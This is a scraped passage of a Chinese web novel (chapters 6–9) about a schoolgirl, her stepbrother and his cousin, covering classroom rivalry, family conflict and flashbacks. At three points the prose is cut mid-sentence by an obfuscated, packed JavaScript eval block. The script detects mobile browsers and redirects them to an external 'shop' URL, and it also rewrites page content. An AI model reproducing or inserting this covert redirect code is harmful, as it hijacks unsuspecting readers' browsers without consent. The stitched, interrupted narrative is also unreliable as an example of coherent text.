“谢谢。”梁思意接过,走出教室前男生还在骂骂咧咧,她回头望过去,男生叫嚷:“看什么,有本事你再来!” 动手吃不到甜头,跟老师说又要请家长,梁思意一时无可奈何,躲在厕所默默掉眼泪。 “梁思意?”不知道过了多久,厕所外忽然传来熟悉的声音,“你在里面吗?” 梁思意回过神,匆匆抹掉眼泪,用凉水洗了把脸,可眼泪能隐藏,额头红肿的伤和哭红的眼睛无处可藏。 “厕所有人吗?”林西津又喊了一声。 梁思意磨磨蹭蹭,在林西津准备离开时才慢吞吞走出去,低着头说:“对不起,让你等久了。” “你……”林西津看她乱糟糟的样子,忽地抓住她胳膊,“你怎么了,怎么搞成这样?” “没事。”梁思意不肯,只想要赶快走。 “你跟人打架了?”林西津抓着她胳膊不松,温热的指腹贴着她的下巴轻抬,在看清梁思意脸上的伤时,忍不住骂了声脏话。 他盯着梁思意的脸问:“怎么回事,谁欺负你了?” 梁思意不愿意说,林西津也不再多问,只是她额头的伤实在明显,一时也藏不住。 “有了。”在诊所处理好伤口,林西津拉着梁思意进了一家理发店,“给你剪个刘海吧。” 梁思意被他想一出是一出愣住,任由摆弄似的坐在椅子上。 咔嚓几下。 周遭忽地传来一声笑,梁思意抬眸,眼前的镜子里一张熟悉的脸,只是额头多了一层厚厚的眉上刘海。 “……” 老天爷。 梁思意欲哭无泪地想,刚刚怎么不一头撞晕过去,她咬牙:“你技术真不错啊。” “当然喽,现在可流行这种刘海啦,小美女你很有眼光呢。”托尼老师笑得开心,手在她额头上摆弄几下,“好了。” 梁思意钉在椅子上不动。 “怎么了?”林西津忽然靠近,视野里猝然放大的脸,梁思意的瞳孔一缩,心跳跟着一震。 眼神相触的瞬间,梁思意耳边所有的动静都远去,只听见心跳如擂鼓。 林西津伸手捻掉她鼻梁上的碎发沫,浅棕色瞳孔如琥珀般清澈明亮,他温柔地笑,只认真地看着她:“确实很好看呀。” 这一眼,是梁思意所有少女心事的开端。 她好像忘记痛,忘记被羞辱的怒,只记得这一刻,他眼底温柔的笑意,像阳光驱散阴霾,也一同带走她所有的负面情绪。 梁思意没有告诉林西津自己的伤是怎么来的,她不想多生事端,可林西津却用实际行动替她讨回公道。 那是周一的大课间,升旗仪式结束后,梁思意忽然被叫到办公室,在班主任桌前看到鼻青脸肿的林西津和同样被他揍得很惨的同桌。 事情原委清晰明了,但在学校斗殴不是小事,两边都被请了家长。 林母还在月子里,不方便出门,是阎余新赶来学校,替林西津和梁思意出头,两边各领处分检讨和停课一周,梁思意转去了另外的普通班。 从办公室出来,阎余新看见鼻青脸肿的林西津又好气又好笑,掏出手机准备拍张照片发给妹妹。 林西津却一把揽过梁思意:“来,不能我一个丢人啊。” 咔嚓。 鼻青脸肿的男生和留着滑稽刘海的女生被一同留在回忆里。 蓝天白云下。 梁思意侧眸看向身旁的男生。 彼时的林西津,温柔英俊,优秀上进,是学校里的风云人物,而梁思意普通得不能再普通。 她只能暗自追随他的脚步。 从普通班考进重点班,再到三中,梁思意以为只要和他的分数越来越接近,两个人的关系也会越来越近。 但现实却恰恰相反。 她越靠近,他越冷淡。 她止步不前,他又回头示好。 他忽远忽近的态度让人捉摸不透,也让梁思意进退两难,恰如此刻,她怔怔地看着相片里笑得格外开怀的两个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933582|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>往事已矣。 可往事美矣。 梁思意起身离开书房。 日暮西斜,伴随夜晚降临,整间屋子逐渐陷入黑暗,桌角的照片在黑夜里变得模糊不清。 照片里并肩而立的两个人在人生的长河中,好像真的只被留在了回忆里。 - 梁思意下楼时,四个长辈正坐在一起打麻将,她环顾四周,看见戴着耳机坐在沙发旁的阎慎。 这家伙竟然聚餐还带着试卷。 梁思意两眼一黑,顿时没了伤春悲秋的力气,只觉得压力倍增,再这么下去,她可能真要更名改姓了。 她走到角落的懒人沙发,也翻出手机窝在那里看复习资料。 学习的时间好像总是比其他时候流动得更快。 梁思意感觉才打开手机,阿姨就招呼着要吃晚饭了,她放下手机回头,却猝不及防撞上阎慎的目光。 莫名有种背着对方努力被抓到的心虚感。 梁思意故作镇定:“吃饭了。” “听见了。”阎慎淡淡地说。 “那你怎么还不动?” “学累了。”他低头捏了捏鼻梁,灯光柔和,衬得他的黑发蓬松又柔软。 炫耀。 赤裸裸地炫耀! 梁思意“哦”了一声,说:“你真努力,我都没怎么学。” 阎慎竖起大拇指,语气轻飘飘:“这么厉害啊。” 梁思意今天心情欠佳,懒得跟他打嘴炮,回敬一个沉默的白眼,绕过沙发走向餐厅。 饭桌旁,林母见人不齐,问了声:“林西津呢,怎么吃饭了还不下来?” 阿姨接话:“去喊过了,说是困得厉害,今晚不吃了。” “这孩子,估计又通宵打游戏了。”林母笑着说,“思意啊,你没事多帮阿姨劝劝他,都高三了一点上进心都没有。” 梁思意眸光闪烁,点头说好。 “光让别人劝有什么用。”阎余新接话,“你们平时也对孩子多上点心,别一门心思都扑在小的身上。” “我知道,我心里有数,孩子不愿意加把劲我能怎么办。”林母叹了声气,“他一直就不像思意和阿慎上进。” 被点名的两人默契抬头,对视一眼又立马移开视线,好像多看一眼都要少吃两口饭。 阎余新语重心长:“再不上进也考进了三中,就这一年了。” “知道知道,先吃饭,饭桌上别说这些,让孩子们都没胃口了。”林母自从有了女儿,对林西津的期望已经淡了许多。 吃完饭,他们一家开车离开。 梁思意和阎慎坐在后排,中间隔着能挤下两个人的距离。 她低头看手机,余光瞥向旁边,见阎慎只安静闭目养息,稍微松了口气,安心玩了起来。 回程的路车多,走走停停。 阎慎在晃动里睁开眼,歪头往侧边轻轻一靠,视线更开阔,窗外一闪而过的夜景如海市蜃楼般梦幻。 目光微微转动。 女生侧身靠在车门上,脸上映着手机屏幕黯淡的光,手指飞快地敲动着屏幕,对他的注视无知无觉。 忽然,她放下手机。 阎慎轻轻闭上眼,意外地察觉到一丝被注视的异样,他眼睫轻颤,抬眸的瞬间猝不及防对上女生圆亮的眼眸。 阎慎的心跳忽而快了起来:“看什么?” “上周五的文综考试成绩出来了。”梁思意犹豫了下,把手机递过去,还是忍不住小声说:“你的史政是不是有点太差了。” 擦边及格。 阎慎少有地挫败,他从小到大最讨厌的事就是背书,分科时除了想跟随阎余新脚步成为医生,更多的还是想逃避文科庞大的背诵量。 “不过这次的文综试卷确实有点难。”梁思意示意他把手机还回来,一交一错间,机身沾染上几分他手心里的热度。 “你在安慰我?”阎慎有些惊讶,低声喃喃,“你竟然还会安慰人。” “……” 梁思意决定收回她为数不多的同情。 车厢内重新恢复安静。 阎慎转头看向自己这一侧的窗外,忽明忽暗的光线在他脸上跳跃,衬出几分落寞。 和成为妹妹的梁思意相处,是阎慎学不会的课题。 比起和平相处当一个名义上的好哥哥,他更擅长做个讨厌的人,她最讨厌的人。 7.第 7 章 07 与阎慎相反,梁思意这次文综考得还行,但不知为何,在周一大课间后,她和阎慎一同被班主任叫到了办公室。 这半个月,实验班各科小考不断,梁思意数学考倒数第一的时候都没被约谈过。 她直到站在班主任桌前,也没想通为什么这次会突然找他们两个。 “别紧张啊,只是找你们聊聊。”张德忠年过五十,早已练出资深老教师的气质,不笑的时候严肃,笑起来更叫人发颤。 聊什么? 梁思意胡思乱想,该不会是看他们每次考试成绩都吊车尾,等不到下次月考,想直接劝退他们了? “你们最近几次的考试成绩我都看了,跟你们班主任说得也一样,有长处也有短处,但我看你俩长短挺互补的,就没想过互相帮帮忙?”张德忠语出惊人,“毕竟也是一家人,何不就近实现资源互补?” 梁思意猛地转头看向站在一旁的阎慎,他下意识开口:“我没说过。” 张德忠呵呵一笑:“别紧张,这事是阎慎班主任周老师跟我说的,把你俩调到一起也是你父亲通过周老师建议我的,当然,我最终决定把你们安排在一起,主要还是看了你们过去的成绩单,原本想着你们毕竟关系不一般,平时能给对方搭把手查缺补漏,但这几次考试看下来,好像没太大变化?” 这话梁思意和阎慎压根没法接,说什么? 说我们关系并不好。 那岂不是拐着弯在骂张德忠好心做坏事,多此一举。 “你们从普通班考进实验班不容易,肯定也不想一轮游,那多丢人是不是?”张德忠语重心长,“离下次月考可没多少时间了,回去好好想想我的话,没事也多跟徐衡向葵他们讨教讨教,我的座位可不是乱七八糟安排的。” 梁思意和阎慎点头说知道了。 从办公室出来,两个人的表情都有些难以形容,一时间都不知道该说什么,互相沉默着走回教室。 “怎么了?张老师找你们说什么?”徐衡八卦道。 “没什么,就让我们平时多跟你们学习。”梁思意神情复杂,“估计是怕我们下次月考就不在这个班了。” “那好说,想要什么学习笔记随便问,我没有的,向葵都有。”徐衡倒是大方。 向葵也接话说:“放心吧,离月考还有半个月呢,有什么不会的尽管问我们。” 梁思意抱拳:“大恩不言谢。” 话落,她看了眼阎慎,对方神情淡淡的,说不上喜怒,只是一天课听下来,话比平时少多了。 张德忠的话并非没有道理,只是让势如水火的两个人突然坐下来握手言和,并不是一件简单的事。 风平浪静到了周五。 晚上放学,徐衡主动把自己的数学笔记拿给了梁思意:“都是我看过的,也用不上了,你拿回去慢慢看。” 一旁的向葵欲言又止。 梁思意大为感动,抱着笔记说:“我一定会一个字一个字认真看的。” 向葵笑了笑:“你确实需要一个字一个字认真地看。” 梁思意不明所以,立马翻开笔记。 徐衡的字实在不敢恭维,整本笔记的字体都像加密文字一样,还有些看不懂的标记符号。 梁思意带回家看了一个多小时,纸页哗哗翻得飞快,能吸收学习的内容却极少。 她看得头疼,索性放弃,起身去楼下接水。 一楼的起夜灯整晚亮着。 梁思意站在餐桌旁喝了半杯水,听到身后有人下楼的动静。 她放下水杯转身,见阎慎揉着后颈走在台阶上,抬头的瞬间,他愣了下,才放下胳膊走近。 水壶搁在餐桌上。 阎慎从茶盘上拿了只干净杯子,也倒了一杯水。 寂静夜晚,似乎是缓和关系的好时机,梁思意轻咳了一声开口:“你想不想欣赏一下徐衡的数学笔记?” “我数学又不差。”阎慎习惯性回了一句,说完又意识到什么,话音一转,“但也可以看一下。” 要是没这后半句话,梁思意差点就把手上剩的半杯水泼他脸上去了,她放下杯子,“那你等我。” 她轻手轻脚上楼,拿了笔记匆匆下楼:“看吧。” 阎慎说的是实话,他三门主科成绩都不差,也不知道徐衡的笔记有什么好看的,但梁思意愿意主动递台阶,他也难拒绝踏上去。 只是徐衡的笔记…… 阎慎翻了翻,发自内心地问:“你看得懂?” 梁思意平时跟他呛多了,下意识想怼回去,他又及时找补了一句,“字面意思。” 她抿了抿唇,挺诚实地说:“看不懂。” 阎慎也“嗯”了一声,“这笔记除了他自己,估计没人能看懂。” 梁思意点头认同,接过他递还的笔记本。 沉默片刻,阎慎好似轻轻叹了口气:“时间还早,你要不要再欣赏欣赏我的?” “也可以。”梁思意说得没那么求之不得。 阎慎起初让她等着,走了几步又说:“直接到楼上来看吧。” 这是梁思意第二次进阎慎的卧室,和她楼下的房间格局相差无几,只是顶部开了扇天窗,躺在床上时可以直接看见天空。 她没有冒昧地多打量,但还是眼尖地发现屋里的书比她上次进来拿试卷时还要多。 阎慎从书包里翻出笔记本。 普通的黑色封皮。 梁思意伸手接过,一打开只觉得赏心悦目,重点内容、典型题目,写得规整明白。 字也是养眼地漂亮。 阎慎是学过书法的,梁思意高一那会住在阎家,因为字丑,还被阎慎按着练了不少他以前学过的字帖。 以至于现在,她和阎慎的字在一些笔锋走势上还有些相像。 梁思意翻了几页,在相熟的字迹里找回一些过去交好的痕迹,不自觉放缓了语气:“比徐衡的好多了。” 阎慎倚靠在桌边,胳膊自然地撑在桌面上,不知是灯光缘故,还是今夜气氛恰好,他的神情也是少有地柔和:“你可以拿回去看。” “我不白拿你的笔记,文综我也整理了些框架,不过都是我自己总结的,要不也发你一份?”梁思意坦诚道,“张老师说得有道理,进实验班不容易,我也不想只待这一个月,你肯定也不想,对吧?” 阎慎看她一眼,轻轻嗯了一声。 梁思意微不可察地松了口气:“那我回去把电子版发你。” 阎慎点点头:“行。” “那我先回去了。”梁思意回房间之后立马把自己整理的文综资料给他发了过去,顺带又发了一条微信消息。 没有意思:我的提纲都是我自己总结的,如果不适合你,你可以根据自己的学习习惯,重新列一个时间轴和思维导图,想要学好历史,起码先做到能把时间和事件对应。 YS:嗯。 好冷漠的一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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上次吵完到现在,两人一直都没坐下来好好说过几句话,每天自己学自己的,碰上要借的资料就在微信上发个只言片语。 梁思意不怎么清理微信聊天记录,重新跟阎慎联系起来后,她自然又看到暑假两人简短的对话。 梁思意这才想起,自己的画本还在阎慎手里,而他也还拥有两次对她提出要求的机会。 想起来也是冲动。 就算他把画本给别人看又如何,随便找个理由也能搪塞过去,毕竟她和林西津的关系在旁人看来并不差。 替他画几幅肖像画,也算不上什么。 梁思意越想越气,在微信上给他发消息。 没有意思:我的画本呢? 叮咚声在安静车厢响起。 阎慎看了眼手机,又侧目对上梁思意冒火的视线,淡声说:“扔了。” “什么?”开车的阎余新先问了句,“什么扔了,不要乱开窗户扔东西。” “没什么。”阎慎闭目养息,等到车停像跟有人在后边追他似的,率先跑下车。 他顾不上和爷爷奶奶打招呼,跑上二楼的卧室,在书桌的抽屉里找到那本画本。 开学前,阎慎回乡下待了几天,画本当时被他无意收进书包一起带了过来。 他只翻开看过一次。 平心而论,梁思意确实继承了她父亲的画画天分,画本越往后翻笔触越成熟,纸张上林西津的轮廓也越清晰。 清晰的难看。 8.第 8 章 08 阎慎和林西津的关系并不是一开始就如此恶劣,在回市里读书之前,他们还是有过一段兄友弟恭的时期。 那时候两家父母都忙着工作,年纪差了一岁的他们被一同送到爷爷奶奶身边,到了入学年纪,也是一起在镇上的小学读书。 乡下的生活丰富有趣。 钻稻田捉虾,爬溪沟捞鱼,整个小镇的男孩都跟在他们屁股后边跑,他们玩得乐不思蜀,成绩自然惨不忍睹。 学习不能耽误,小学还没读完,阎余新就托人把阎慎和林西津调回了市里的医大附小。 只是当时两个人基础太差,入学考试也只有阎慎擦边通过,附小的老师建议林西津留一级也从三年级开始读。 为了不让两兄弟继续混在一起互相影响,阎余新特意将他们分到了不同的班级。 没曾想,这也是他们矛盾的开端。 进入新的学校,一向自由散漫的两个人都有过一段漫长难熬的纠正期,三年级之后,才逐渐步入正轨。 两个人年纪相仿,又同时入学,逢年过节免不了会被家里人放在一起比较。 阎慎永远是被夸奖的尖子生,而林西津的成绩时好时坏,听得最多的永远是鼓励。 成年人无心的比较,促成了小孩子心里难言的自卑。 林西津起初还会跟阎慎抱怨几句,讨厌大人的虚伪和攀比,可伴随着阎慎的优秀,他考第二名和第二百名在旁人眼里看来似乎并没有太大区别。 父母鼓励的话语逐渐变成严厉的督促,在他们长年累月的打压下,积压在林西津心里的不满和愤懑,逐渐演变成对阎慎的憎恶。 他开始在方方面面都跟阎慎计较。 过年的红包,餐桌上的祝酒词,哄长辈的开心话,他通通手到擒来。 几年的时间里,他把自己从样样不如阎慎的林西津变成八面玲珑的林西津。 和有着青春叛逆期的阎慎相比,一向脾气温和大方的林西津反而变得更受长辈青睐。 成绩优异不再是唯一的标杆。 他沾沾自喜,将阎慎视作对手、敌人,俨然已经忘记他们是血脉相连的兄弟。 阎慎也曾经试图用逃学、考试交白卷的笨方法去挽回这段感情,可在林西津眼里看来,这只是阎慎对他的羞辱。 高一学年的第一次期中考试后,他们爆发了有史以来最激烈的一次争执。 林西津痛斥长辈们的偏心,指责阎慎的高高在上:“凭什么你永远都是最好的!凭什么我就要留级!凭什么!” 阎慎不理解也不明白,拳头砸在脸上,林西津拽着他衣领,叫嚷道:“还手啊!你为什么不还手!” 年少气盛,阎慎也不免被激怒,但念及旧情,并未用尽全力,直到两人被父母各自拉开时,林西津的一句话才让他彻底死心。 他脸上挂着伤,却故作大方地说:“没事儿,我们闹着玩呢,阿慎这次没考好,情绪不太好。” 阎慎不如他圆滑伪善,叛逆期也让他变得不那么符合长辈眼里的好孩子,他没犹豫,一拳头砸了过去。 林西津踉跄着向后摔,鼻血糊了一脸,连同儿时那些美好的回忆一起摔得面目全非。 …… 阎慎听到楼下停车的动静,走到窗口,看见姑姑家的车停在院门前的空位。 林西津从后排下车,嘴很甜地叫着爷爷奶奶,上前给了两位老人一个大大的拥抱。 没人比阎慎更了解他这副伪善面孔下的真实面目。 他收回视线,看着手中尽是同张面孔的画本,眸光冷淡地吐槽道:“什么眼光。” 不想为不值得的人浪费情绪,阎慎随手将画本丢回抽屉里,正要合上,他想了想,又取出来锁进柜子里。 晚餐阎余新请了镇上的厨子来家里做烤全羊。 阎慎胃口平平,兴许是见到不想见的人,总觉得有些恶心,一抬头见梁思意跟林西津坐在一起,连带着头都有点痛。 姑姑阎余蕙剔了块羊腿肉在他碟子里,关心道:“怎么脸色不太好?没休息好吗?” 闻言,梁思意也抬眸看了一眼,男生正好坐在灯下,不知道是不是灯光缘故,脸色确实有些苍白。 阎慎嗯了一声,说昨晚睡太晚了,又拿起筷子说:“谢谢姑姑。” “是不是实验班压力太大了呀。”阎余蕙笑道。 “还好。”阎慎两口解决完羊肉,胃里翻滚得更厉害,他强撑着恶心起身,“我吃饱了,你们慢慢吃。” 他的脾性一向如此,饭桌上也没人说什么,只有奶奶多问了一句:“怎么就吃这么点啊?还有这么多肉呢。” 阎慎走过去搂了搂老人的肩:“我现在不太饿,您给我留点,我晚上当夜宵吃。” 奶奶连声应好,赶忙准备给他先留出一份,桌上没有干净餐碟,林西津主动起身:“奶奶,您坐着,我去厨房拿。” 阎慎看他一眼,更恶心了。 他头也不回地离开餐厅,路过楼梯旁的卫生间,快步进去将晚上吃的东西吐了个一干二净。 浑身都是呛人的油烟味,阎慎干脆回房冲了把澡,换上睡衣躺在床上。 听着楼下的欢声笑语,他只觉得头痛欲裂,强迫自己闭上眼放空,竟也在不知不觉间睡了过去。 晚餐吃了将近三个小时。 饭后,梁思意和林西津在小院外修得笔直的小路上散步消食。 一段时间没见,林西津又变成善解人意的模样,他们聊了几句无趣的日常,最后还是落到高三的学习上。 “在实验班感觉怎么样?”林西津问。 “节奏快,氛围挺紧张的。”梁思意发自内心感慨,“说实话,压力也比之前大多了。” 林西津的声音带着笑意:“压力这么大,那会不会影响你学习?” “还好,毕竟不是我一个人压力大。”梁思意心态不错,“大家都埋头苦学,也就没有玩的心思了。” “这样不累吗?” “高三本来就很累嘛。”梁思意笑了笑,“有竞争力也挺好的,起码能让自己时刻都能保持警惕也更有动力。” 更何况现在还有个一天到晚都在埋头苦学的阎慎追在后边。 比起掉出实验班,输给阎慎更让她难以接受。 “那你加油。”林西津淡声,“不早了,我们回去吧。” 梁思意点头说好。 两人刚走进小院,何文兰站在厨房门口朝梁思意招招手:“思意,你过来一下。” “怎么了,妈妈?”梁思意走进去,见燃气灶开着火,“不是才吃完饭,怎么还煮东西?” “给小阎煮了点粥。”何文兰盛出一碗白粥,又夹了一小碟腌制的萝卜条,“我早上起来看他空调外机都还响着,估计是吹了一夜空调有些受凉了,晚上也没怎么吃,这要睡一夜,胃里该难受了。” 梁思意“哦”了一声,装没听懂:“那你煮好放着呗,他饿了会下来吃的。” 何文兰笑着拍了一下她的手背:“你阎叔叔去找药了,你一会儿跟粥一起送过去。” 梁思意撇撇嘴。 “不是都做了一个月的同桌,就当关心同学了。” 说起这个,梁思意说:“我跟阎慎做同桌这事,还是阎叔叔跟老师提的呢,他也不怕我跟阎慎打起来。” “是吗?”何文兰没听阎余新提过,一直以为都是班主任的意思,“那也挺好的呀,你不是说新班级都没认识的人,起码小阎是你熟悉的人,是不是在那里没那么孤单了?” 何文兰的话确实没说错,但梁思意不愿意承认,只不怎么情愿地说:“好吧好吧。” 阎余新拿了药过来,还煞有介事地跟梁思意说谢谢,搞得她都有些不好意思,跟接了什么重要任务一样,捧着托盘走得小心翼翼。 阎慎的卧室在二楼走廊的第一间,梁思意把托盘放在过道的柜子上,抬手敲了敲门。 没人应。 “这么早就睡了?”梁思意看了眼手机,才十点多,平时这个时间他都在学习。 她点开微信给他打语音电话。 隔着一层门板能听到手机一直在响。 “阎慎?”梁思意稍微用了点力敲门,本就没关严的门板“吱呀”一声开了一道细缝。 屋里的灯还亮着。 她站在门口犹豫了片刻,推门走了进去。 房子是自建的,因为平时不久住人,几个卧室都留得不大,只放得下两三件简单的家具。 阎慎的床三边靠墙,站在门口能将整间卧室的布局纳入眼中。 此刻,他正侧睡在床上,脑袋埋在枕头里,胳膊搭在床沿,露出的小臂修长有力。 怕他真的在生病,梁思意站在门边又喊了一声:“阎慎?” 没有想到睡梦中也不得安稳,阎慎在头晕目眩中睁开眼,视线刚好可以望见门口。 梁思意注意到他的脸和脖颈都泛着不正常的红,稍稍走近了些问:“你还好吗?” 和记忆里的对话如出一辙。 一瞬间,阎慎只以为还在梦中。 是那年秋天,他和林西津打完架,又平白吃了哑巴亏,一气之下选择离家出走。 阎慎已经记不清走了有多远,只记得回过神时,他停在母亲蒋穗以前上班的地方。 公司大楼对面有一大片人工湖。 他走过去,在湖边坐下。 傍晚天色好,有天鹅在湖水边悠闲觅食,不多不少,刚好两大一小,一家三口。 像是在讽刺他的形单影只,阎慎恼羞成怒,随便抓了一把草丢过去:“走开!” 谁曾想,三只里体型稍大点的那只黑天鹅竟丝毫不怯,反而因为受到攻击,伸着脖子乱叫一通后,径直冲上了岸。 阎慎吓了一跳,连忙起身躲闪,等到安全躲开攻击,已经略显狼狈。 他有些力竭,索性直接躺在草坪上,有些锋利的青草随着湖风摇曳,不停刮蹭着他的脸颊。 眼泪无声滚落,被无情草地吞没。 “你还好吗?” 突然出现的声音打断了阎慎的伤心,也唤醒了他抛之脑后的自尊心。 “走开。”他有些气急败坏地睁开眼,眸光却倏地一顿。 在一大片粉色晚霞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943711|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天然滤镜下,穿着浅蓝色连衣裙的女生托着腮半蹲在一旁,脸庞白净,一双眼明亮清澈。 像林间偶然闯出的小鹿。 阎慎的心跳倏而空了一拍,却以为是脆弱被发现的难堪,不耐烦地别开眼:“走开。” 他对梁思意的印象一般。 这一年多,他们虽然同住一个屋檐下,但平时不在一个初中,读了一个高中又不在一个班。 周末她也时常不在家,碰面的机会少之又少,也甚少有过什么交流。 更何况,梁思意明显和林西津关系更要好。 刚在林西津那里吃了亏,阎慎在此刻很难对她有好脾气。 “阎叔叔他们很担心你。”梁思意被母亲急匆匆叮嘱跟着阎慎出门,陪着他走了两个多小时,见他没什么反应,又不好随便走开,索性也捋了捋裙摆躺在草坪上。 她不问他和林西津的矛盾,也不关心他的伤势,只静静地躺在一旁。 阎慎闭着眼,呼吸里除了青草的味道还多了一缕香味,是每天在自己衣服上都能闻到的味道。 这香味搅得他心烦意乱。 晚霞稍纵即逝,湖风渐凉,岸边垂柳树上悬挂的彩灯闪烁,在晃动的湖面上映射出斑斓的光影。 阎慎像是忍无可忍,猛地坐了起来,梁思意被他吓了一跳,跟着坐了起来,安静地看着他。 “你不回家吗?”阎慎看着她。 梁思意摇摇头,恰好风起,她手搭在胳膊上搓了搓。 “别跟我了。”阎慎起身,走了几步,忽地又折返,他解开外套丢过去,重复道,“别跟着我。” “你去哪儿?”梁思意手忙脚乱接过他的外套,仓促起身间,不小心没踩稳,抓着衣服摔倒在地。 她轻嘶一声。 阎慎搓脸叹气,几步走到她面前蹲着,淡声说:“你找我做什么?林西津被我揍得那么惨,你不去关心他?” “我妈妈让我跟着你。”梁思意揉着脚踝,小声说,“你为什么跟林西津打架?” “怎么?要替他鸣不平?”阎慎没碰她,下巴轻抬,问她,“怎么样?” “好像没扭到。”梁思意松开手,站起来走了两步,裙摆微晃,晃得阎慎眼花。 她停下来,又解释:“我不是替林西津鸣不平,我只是觉得你不像阎叔叔说的那样不讲道理。” “为什么觉得我不像?” 梁思意抿了抿唇,有些犹豫,“我们班的教室在二楼,后窗对着小花园,这学期我正好坐在窗边……” 阎慎想起什么,站起身没说话。 “我见过你去喂猫,下雨天打着伞也去。”梁思意对他笑笑,“况且,你对我妈妈也很尊重,就算她无心做了你不爱吃的东西,你也会尽量忍着吃完。” 那时梁思意刚搬进阎家,对林西津口中所描述的阎慎略有所防备,也刻意减少自己在家出现的频率,和他接触并不多。 何文兰从阎余新那里得知阎慎爱吃饺子,经常手工包一些给他当早餐。 开学一个多月,阎慎吃了不下十回,从未说过什么,一直到阎余新出差回来,何文兰煮过一次饺子给他当夜宵才知道,阎慎不爱吃木耳,而何文兰给他包的饺子馅里,掺了不少木耳碎。 可他什么也没说,也从未有过一点浪费。 梁思意认真道:“比起听别人说,我更相信我看见的你。” “是吗?”阎慎的耳朵有些发烫,却还是没礼貌地说,“如果我就是单纯的心情不好想打他呢?” “那你至少应该给林西津道个歉,而不是一个人不负责任地跑出来。” “我不会给他道歉。”阎慎斩钉截铁地说。 “所以你到底为什么要打他?” “他没打我吗?”阎慎指了指自己的脸,也没多好看。 梁思意没忍住笑了出来,在夜色里格外动人:“要不你们互相给对方道个歉吧。” “做梦。”阎慎抿着唇,过了好久才开口,“你真的相信我?” 梁思意笑起来,说:“当然,有矛盾不是很正常吗?你们两个都动手了,肯定不是一个人的问题。” “那你觉得谁的问题更大?” 梁思意一愣,一时间答不上来。 “肯定是我吧,毕竟我脾气差,火气大,还叛逆。”阎慎自嘲,“连我自己的父亲都觉得我是这样的人。” “可我知道你不是啊。”梁思意说得理所当然,好像她的信任能抵过一切质疑。 事实的确如此。 晚风中,阎慎看着她,一颗碎掉的心似乎在悄然愈合。 此后很长的一段时间里,阎慎突然发现自己见到梁思意的频率好像变高了。 在家里的餐桌旁,在课间人潮涌动的操场,在位置相对的教室走廊,在喂猫的小花园。 在所有以前没有在意过的地方。 可梁思意并没有做什么。 他照例去小花园喂猫,在无意间将目光投向二楼的窗口,只看见一张张陌生的面孔。 期待落空的刹那,阎慎才忽然惊觉,原来一切都没变。 是他变了。 9.第 9 章 09 大梦一场,阎慎在一片昏沉中睁开眼,熟悉的吊顶风格映入眼帘,他习惯性想抬手,却被摁住。 “别动。”阎余新不知何时坐在床边,“你发烧了,还在输液。” 家里全是医护的好处便是平时有个小病小灾的都不用出门,而阎慎也已经很久没有这样和父亲单独相处的时刻。 他略有些僵硬地扯了扯胳膊,阎余新这才想起松手,看着儿子苍白的脸,低声问:“要不要喝水?” “不用。”阎慎发出嘶哑的两个字。 “阿慎。”沉默片刻,阎余新叹息道,“你还在怪我,怪我和你妈妈瞒着你离婚。” 阎慎盯着天花板上那一道不起眼的划痕,回想起梦中过往,依旧哑着声说:“我谁也不怪。” 他只怪命运弄人。 那些得知真相时的愤怒和不知所措已经在无法回溯的时光里,化为难以言说的遗憾。 阎慎很少生病,这一病却来势汹汹,在老宅躺了两天,一日三餐都是姑姑阎余蕙送进屋里的。 “这孩子真是倔,病还没好透,已经急着在看书了,说什么放完假就要月考。”这天阎余蕙送完餐下楼,开玩笑道,“大哥,你平时是不是给阿慎太大压力了?看把孩子都逼成什么样了。” “我哪里有给他压力,我只是让他对自己的选择多负责。”阎余新听罢,也皱眉,“也不是叫他这样刻苦。” 同桌吃饭的梁思意也忍不住腹诽,这人能理解什么叫生病吗? 这两天阎慎没有下楼,她也是从母亲那里听到几句,只知道他退烧了,没什么胃口。 何文兰特地包了些素馅的薄皮饺子,他也少有地没怎么吃。 谁知道他没胃口归没胃口,学习是一点都没落下。 梁思意想到自己这两天跟着长辈外出爬山,陪林西津钓鱼,早把假期当成放松的途径,禁不住眼前一黑。 “思意。” 冷不丁被点名,梁思意愣了下才抬起头,看向阎余新。 “你现在跟阿慎是同学又是同桌,方便的话,你吃完饭能不能替叔叔去劝劝他。”阎余新叹气,“学习不是像他这样本末倒置的。” “我吗?”梁思意过于惊讶,一时没忍住把心里想法说了出来。 “是有什么不方便的吗?”阎余新不明白她和阎慎之间存在的问题,只看见同桌一个月,两人关系似乎有了明显改善。 “没有没有。”梁思意连忙否认,只是委婉提醒道,“他不一定会听我的话。” 阎余新静默几秒说:“真不听就算了,他自己的身体他自己应该有数。” 梁思意点头说好,下意识又看向坐在对面的林西津,他冲梁思意笑了笑,并未对长辈的安排有什么别的想法。 毕竟按照常理,他明明是比梁思意更合适去做这件事的人。 年少时的那一架,不仅在阎慎和林西津之间留下裂痕,也在长辈心中留下他们不合的实证。 饭后,梁思意回屋待了会才去敲响阎慎的房门。 “请进。”屋里一道低哑的声音,带着病后的虚弱。 梁思意推门。 阎慎背朝门坐在书桌旁,手中执笔写得飞快,许是没听见人说话,他才停笔回头。 